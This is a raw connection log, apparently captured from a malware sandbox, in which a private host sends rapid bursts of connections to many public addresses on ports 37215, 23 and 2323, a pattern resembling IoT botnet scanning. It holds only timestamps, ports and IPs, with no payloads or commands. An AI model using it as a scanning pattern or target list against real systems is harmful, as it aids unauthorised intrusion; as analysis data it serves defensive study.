Aug 6, 2024 08:32:57.834863901 CEST	37215	37732	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:57.834862947 CEST	39840	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:57.834866047 CEST	44544	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.834866047 CEST	44544	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.834875107 CEST	23	61398	129.95.19.167	192.168.2.14
Aug 6, 2024 08:32:57.834887981 CEST	37215	53130	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:57.834897995 CEST	37215	47280	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:57.834908009 CEST	23	61398	171.21.39.131	192.168.2.14
Aug 6, 2024 08:32:57.834911108 CEST	45018	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.834911108 CEST	54512	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.834918022 CEST	23	61398	168.84.194.240	192.168.2.14
Aug 6, 2024 08:32:57.834919930 CEST	40314	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:57.834919930 CEST	54040	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.834919930 CEST	54040	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.834923029 CEST	36724	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.834927082 CEST	61398	23	192.168.2.14	129.95.19.167
Aug 6, 2024 08:32:57.834928036 CEST	45026	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.834928036 CEST	48504	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.834928036 CEST	45026	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.834928036 CEST	37732	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.834937096 CEST	45548	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.834938049 CEST	2323	61398	205.70.133.2	192.168.2.14
Aug 6, 2024 08:32:57.834939003 CEST	47072	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.834939003 CEST	47072	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.834944010 CEST	47280	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.834944010 CEST	47550	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.834944963 CEST	53130	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.834949017 CEST	37215	44092	156.11.49.218	192.168.2.14
Aug 6, 2024 08:32:57.834954023 CEST	61398	23	192.168.2.14	171.21.39.131
Aug 6, 2024 08:32:57.834959030 CEST	37215	61142	156.39.213.14	192.168.2.14
Aug 6, 2024 08:32:57.834969044 CEST	61398	23	192.168.2.14	168.84.194.240
Aug 6, 2024 08:32:57.834969044 CEST	61398	2323	192.168.2.14	205.70.133.2
Aug 6, 2024 08:32:57.834979057 CEST	44092	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.834981918 CEST	39766	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.834981918 CEST	39766	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.834990025 CEST	61142	37215	192.168.2.14	156.39.213.14
Aug 6, 2024 08:32:57.835000992 CEST	40324	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.835014105 CEST	37215	61142	41.25.197.239	192.168.2.14
Aug 6, 2024 08:32:57.835022926 CEST	37215	61142	197.211.8.53	192.168.2.14
Aug 6, 2024 08:32:57.835031033 CEST	37215	35798	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:57.835036039 CEST	23	61398	14.83.37.169	192.168.2.14
Aug 6, 2024 08:32:57.835037947 CEST	42160	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.835037947 CEST	42160	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.835038900 CEST	37215	52202	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:57.835042953 CEST	37215	61142	197.73.43.124	192.168.2.14
Aug 6, 2024 08:32:57.835043907 CEST	42684	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.835047960 CEST	37215	55410	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:57.835052967 CEST	61142	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.835058928 CEST	37215	61142	156.213.99.166	192.168.2.14
Aug 6, 2024 08:32:57.835069895 CEST	23	61398	105.109.84.238	192.168.2.14
Aug 6, 2024 08:32:57.835079908 CEST	37215	61142	41.190.24.100	192.168.2.14
Aug 6, 2024 08:32:57.835091114 CEST	37215	40768	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:57.835100889 CEST	37215	61142	197.181.38.68	192.168.2.14
Aug 6, 2024 08:32:57.835110903 CEST	23	61398	19.80.115.10	192.168.2.14
Aug 6, 2024 08:32:57.835120916 CEST	23	61398	178.223.90.100	192.168.2.14
Aug 6, 2024 08:32:57.835129023 CEST	61142	37215	192.168.2.14	197.211.8.53
Aug 6, 2024 08:32:57.835129976 CEST	23	61398	150.172.223.171	192.168.2.14
Aug 6, 2024 08:32:57.835129023 CEST	61398	23	192.168.2.14	14.83.37.169
Aug 6, 2024 08:32:57.835129023 CEST	61142	37215	192.168.2.14	197.73.43.124
Aug 6, 2024 08:32:57.835129023 CEST	61142	37215	192.168.2.14	156.213.99.166
Aug 6, 2024 08:32:57.835135937 CEST	35798	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.835135937 CEST	52202	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.835145950 CEST	40768	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.835145950 CEST	55410	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:57.835145950 CEST	49024	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.835148096 CEST	38232	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.835149050 CEST	48504	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.835149050 CEST	48504	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.835149050 CEST	37732	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.835150003 CEST	61398	23	192.168.2.14	105.109.84.238
Aug 6, 2024 08:32:57.835149050 CEST	37732	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.835150003 CEST	61142	37215	192.168.2.14	41.190.24.100
Aug 6, 2024 08:32:57.835150957 CEST	61142	37215	192.168.2.14	197.181.38.68
Aug 6, 2024 08:32:57.835149050 CEST	53130	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.835149050 CEST	53130	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.835175037 CEST	61398	23	192.168.2.14	178.223.90.100
Aug 6, 2024 08:32:57.835180044 CEST	61398	23	192.168.2.14	19.80.115.10
Aug 6, 2024 08:32:57.835185051 CEST	61398	23	192.168.2.14	150.172.223.171
Aug 6, 2024 08:32:57.835186005 CEST	53614	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.835189104 CEST	47280	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.835189104 CEST	47280	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.835206032 CEST	47764	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.835241079 CEST	44092	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.835241079 CEST	44092	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.835256100 CEST	44574	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.835298061 CEST	35798	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.835298061 CEST	35798	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.835302114 CEST	36340	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.835318089 CEST	52202	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.835319042 CEST	52202	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.835324049 CEST	37215	44750	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:57.835335016 CEST	23	61398	191.20.171.94	192.168.2.14
Aug 6, 2024 08:32:57.835341930 CEST	37215	53766	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:57.835345984 CEST	37215	61142	156.56.126.237	192.168.2.14
Aug 6, 2024 08:32:57.835376978 CEST	37215	52820	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:57.835381985 CEST	37215	35946	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:57.835386038 CEST	37215	47248	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:57.835390091 CEST	37215	61142	197.150.55.13	192.168.2.14
Aug 6, 2024 08:32:57.835392952 CEST	37215	61142	41.95.238.140	192.168.2.14
Aug 6, 2024 08:32:57.835397959 CEST	37215	38640	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:57.835401058 CEST	37215	56918	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:57.835406065 CEST	37215	43022	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:57.835410118 CEST	37215	54950	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:57.835438967 CEST	37215	57802	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:57.835438967 CEST	52724	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.835439920 CEST	40768	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.835438967 CEST	55410	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:57.835439920 CEST	40768	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.835438967 CEST	55410	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:57.835443020 CEST	37215	43460	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:57.835438967 CEST	41254	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.835453987 CEST	37215	40940	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:57.835458994 CEST	37215	37842	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:57.835468054 CEST	37215	61142	41.64.204.87	192.168.2.14
Aug 6, 2024 08:32:57.835478067 CEST	23	61398	132.174.253.61	192.168.2.14
Aug 6, 2024 08:32:57.835488081 CEST	37215	61142	197.101.174.2	192.168.2.14
Aug 6, 2024 08:32:57.835488081 CEST	55896	37215	192.168.2.14	197.166.211.169
Aug 6, 2024 08:32:57.835493088 CEST	44750	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.835494041 CEST	47248	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.835494041 CEST	43022	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.835500956 CEST	37215	34454	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:57.835506916 CEST	40940	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.835510969 CEST	23	61398	222.144.133.170	192.168.2.14
Aug 6, 2024 08:32:57.835516930 CEST	61142	37215	192.168.2.14	41.64.204.87
Aug 6, 2024 08:32:57.835516930 CEST	61398	23	192.168.2.14	132.174.253.61
Aug 6, 2024 08:32:57.835520029 CEST	23	61398	125.156.181.183	192.168.2.14
Aug 6, 2024 08:32:57.835516930 CEST	61142	37215	192.168.2.14	197.101.174.2
Aug 6, 2024 08:32:57.835529089 CEST	43460	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.835530996 CEST	2323	61398	217.193.242.7	192.168.2.14
Aug 6, 2024 08:32:57.835541964 CEST	53766	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.835541964 CEST	52820	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.835546970 CEST	61398	23	192.168.2.14	191.20.171.94
Aug 6, 2024 08:32:57.835546970 CEST	61142	37215	192.168.2.14	156.56.126.237
Aug 6, 2024 08:32:57.835556030 CEST	35946	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.835556030 CEST	47248	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.835556030 CEST	56918	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.835572004 CEST	38640	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.835581064 CEST	61142	37215	192.168.2.14	197.150.55.13
Aug 6, 2024 08:32:57.835581064 CEST	61142	37215	192.168.2.14	41.95.238.140
Aug 6, 2024 08:32:57.835581064 CEST	54950	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.835582018 CEST	57802	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.835582018 CEST	61398	23	192.168.2.14	125.156.181.183
Aug 6, 2024 08:32:57.835592985 CEST	37842	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.835592985 CEST	34454	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.835602045 CEST	47784	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.835616112 CEST	44750	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.835622072 CEST	61398	23	192.168.2.14	222.144.133.170
Aug 6, 2024 08:32:57.835622072 CEST	61398	2323	192.168.2.14	217.193.242.7
Aug 6, 2024 08:32:57.835623980 CEST	44750	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.835627079 CEST	47248	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.835724115 CEST	43508	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.835725069 CEST	43022	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.835725069 CEST	43946	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.835726023 CEST	43022	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.835735083 CEST	45238	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.835737944 CEST	40940	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.835737944 CEST	40940	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.835745096 CEST	41426	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.835747957 CEST	23	61398	19.61.111.115	192.168.2.14
Aug 6, 2024 08:32:57.835757971 CEST	37215	61142	156.195.255.108	192.168.2.14
Aug 6, 2024 08:32:57.835767031 CEST	37215	44608	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:57.835777044 CEST	37215	47500	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:57.835784912 CEST	53766	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.835792065 CEST	37215	35450	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:57.835797071 CEST	53766	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.835798979 CEST	44608	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.835800886 CEST	37215	57116	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:57.835802078 CEST	61398	23	192.168.2.14	19.61.111.115
Aug 6, 2024 08:32:57.835802078 CEST	61142	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.835808992 CEST	47500	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.835814953 CEST	35450	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.835817099 CEST	37215	61142	197.183.218.152	192.168.2.14
Aug 6, 2024 08:32:57.835818052 CEST	54370	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.835819006 CEST	43460	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.835819006 CEST	43460	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.835828066 CEST	23	61398	85.149.205.81	192.168.2.14
Aug 6, 2024 08:32:57.835832119 CEST	57116	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.835845947 CEST	37215	43796	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:57.835860014 CEST	37215	61142	197.75.184.82	192.168.2.14
Aug 6, 2024 08:32:57.835863113 CEST	37215	61142	41.145.238.80	192.168.2.14
Aug 6, 2024 08:32:57.835866928 CEST	23	61398	154.7.33.131	192.168.2.14
Aug 6, 2024 08:32:57.835875034 CEST	23	61398	142.198.130.148	192.168.2.14
Aug 6, 2024 08:32:57.835884094 CEST	37215	35064	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:57.835886955 CEST	58398	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.835891962 CEST	52820	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.835894108 CEST	37215	54080	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:57.835894108 CEST	43796	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.835896015 CEST	54950	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.835896015 CEST	54950	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.835896015 CEST	55552	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.835896015 CEST	61398	23	192.168.2.14	85.149.205.81
Aug 6, 2024 08:32:57.835896015 CEST	57802	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.835902929 CEST	37215	54036	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:57.835896015 CEST	57802	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.835896015 CEST	61142	37215	192.168.2.14	197.183.218.152
Aug 6, 2024 08:32:57.835896969 CEST	61142	37215	192.168.2.14	197.75.184.82
Aug 6, 2024 08:32:57.835912943 CEST	37215	47502	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:57.835921049 CEST	37215	42842	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:57.835921049 CEST	52820	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.835931063 CEST	37215	33710	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:57.835933924 CEST	54036	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.835941076 CEST	37215	40484	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:57.835943937 CEST	47502	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.835947037 CEST	53398	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.835947990 CEST	61398	23	192.168.2.14	154.7.33.131
Aug 6, 2024 08:32:57.835948944 CEST	42842	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.835947990 CEST	61142	37215	192.168.2.14	41.145.238.80
Aug 6, 2024 08:32:57.835951090 CEST	37215	59224	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:57.835948944 CEST	35064	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.835948944 CEST	61398	23	192.168.2.14	142.198.130.148
Aug 6, 2024 08:32:57.835948944 CEST	54080	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.835953951 CEST	35946	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.835959911 CEST	33710	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.835961103 CEST	37215	39130	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:57.835963964 CEST	35946	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.835972071 CEST	37215	55190	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:57.835983992 CEST	36504	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.835983992 CEST	40484	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.835983992 CEST	59224	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.835997105 CEST	38640	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.835997105 CEST	38640	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.836014986 CEST	39130	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.836015940 CEST	55190	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.836019039 CEST	39178	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.836064100 CEST	37215	44332	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:57.836074114 CEST	37215	48166	197.104.64.187	192.168.2.14
Aug 6, 2024 08:32:57.836091042 CEST	37215	60052	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:57.836101055 CEST	37215	33946	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:57.836121082 CEST	56918	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.836121082 CEST	56918	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.836122036 CEST	57434	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.836131096 CEST	37842	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.836131096 CEST	37842	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.836131096 CEST	34454	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.836131096 CEST	44332	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.836131096 CEST	34454	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.836134911 CEST	38342	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.836134911 CEST	48166	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.836134911 CEST	60052	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.836149931 CEST	33946	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.836189032 CEST	35064	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.836189032 CEST	35064	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.836209059 CEST	35670	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.836213112 CEST	34954	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.836236954 CEST	54080	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.836236954 CEST	54080	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.836246967 CEST	37215	46870	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:57.836256981 CEST	37215	46216	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:57.836266041 CEST	37215	38670	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:57.836270094 CEST	37215	33700	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:57.836271048 CEST	54680	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.836273909 CEST	37215	39274	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:57.836277962 CEST	37215	44858	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:57.836282015 CEST	37215	46118	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:57.836283922 CEST	40484	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.836286068 CEST	37215	57750	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:57.836289883 CEST	37215	59874	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:57.836293936 CEST	37215	36268	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:57.836297989 CEST	37215	42704	41.142.161.8	192.168.2.14
Aug 6, 2024 08:32:57.836302042 CEST	37215	40490	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:57.836306095 CEST	37215	32772	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:57.836308956 CEST	37215	38774	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:57.836312056 CEST	37215	55516	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:57.836316109 CEST	37215	40102	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:57.836318970 CEST	37215	38072	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:57.836323023 CEST	37215	46750	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:57.836366892 CEST	41076	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.836366892 CEST	39676	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.836366892 CEST	59788	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.836373091 CEST	55712	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.836375952 CEST	40484	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.836375952 CEST	59224	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.836375952 CEST	59224	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.836375952 CEST	39130	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.836375952 CEST	39130	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.836375952 CEST	55190	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.836375952 CEST	55190	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.836375952 CEST	48166	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.836391926 CEST	59874	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.836393118 CEST	46118	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.836405039 CEST	48678	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.836410046 CEST	40490	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.836420059 CEST	48166	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.836431980 CEST	38670	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.836431980 CEST	32772	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.836446047 CEST	38774	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.836447001 CEST	44608	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.836450100 CEST	46870	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.836450100 CEST	40102	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.836450100 CEST	46216	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.836458921 CEST	33700	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.836462021 CEST	44608	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.836463928 CEST	39274	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.836472988 CEST	36268	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.836472988 CEST	55516	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.836473942 CEST	42704	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.836474895 CEST	44858	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.836491108 CEST	47500	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.836491108 CEST	47500	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.836493015 CEST	45120	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.836493969 CEST	57750	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.836503983 CEST	46750	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.836512089 CEST	48012	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.836512089 CEST	57116	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.836512089 CEST	57116	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.836519003 CEST	38072	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.836534023 CEST	57628	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.836546898 CEST	35450	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.836546898 CEST	35450	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.836559057 CEST	37215	57002	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:57.836569071 CEST	37215	48876	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:57.836572886 CEST	37215	37148	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:57.836577892 CEST	35962	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.836585045 CEST	37215	44520	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:57.836586952 CEST	43796	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.836586952 CEST	43796	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.836589098 CEST	37215	58586	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:57.836594105 CEST	37215	38224	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:57.836606979 CEST	37215	45626	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:57.836611032 CEST	37215	35976	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:57.836615086 CEST	37215	41022	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:57.836617947 CEST	37215	39700	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:57.836622000 CEST	37215	45600	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:57.836625099 CEST	37215	46990	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:57.836626053 CEST	44308	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.836662054 CEST	37215	60216	197.28.182.242	192.168.2.14
